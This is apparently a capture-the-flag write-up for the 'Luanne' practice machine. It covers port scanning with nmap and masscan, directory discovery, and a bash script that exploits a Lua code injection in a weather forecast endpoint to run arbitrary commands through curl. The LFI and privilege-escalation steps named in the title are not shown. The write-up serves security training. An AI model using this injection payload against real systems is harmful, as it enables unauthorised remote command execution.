[Meachines] [Easy] Luanne Lua RCE+bozoHTTPd LFI+NetBSD-Dec+doas权限提升

Information Gathering

IP Address	Opening Ports
10.10.10.218	TCP:22,80,9001

$ ip='10.10.10.218'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

bash 复制代码

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20977f6c4a6e5d20cffda3aaa90d37db (RSA)
|   521 35c329e187706d7374b2a9a204a96669 (ECDSA)
|_  256 b3bd316dcc226b18ed2766b4a72ae4a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
|_http-server-header: nginx/1.19.0
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-title: 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
|_http-server-header: Medusa/1.12
|_http-title: Error response
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Lua RCE

# echo '10.10.10.218 luanne.htb'>>/etc/hosts

http://10.10.10.218/robots.txt

$ feroxbuster --url 'http://luanne.htb/weather'

http://luanne.htb/weather/forecast

https://www.syhunt.com/en/index.php?n=Articles.LuaVulnerabilities\&ref=secjuice.com

sh 复制代码

#!/bin/bash

TARGET="http://luanne.htb/weather/forecast?city=list%27)%20os.execute('%s')%20--"
while true; do
    read -p "Enter the command to execute (enter 'exit' to quit): " CMD

    # If the user inputs 'exit', exit the loop
    if [[ "$CMD" == "exit" ]]; then
        echo "Exiting..."
        break
    fi
    ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$CMD'''))")
    URL="${TARGET//%s/$ENCODED_CMD}"
    echo "[+] Executing: $CMD"
    RESPONSE=$(curl -s "$URL")
    echo "[+] Server response:"
    echo "$RESPONSE"
    echo "-----------------------------------"
done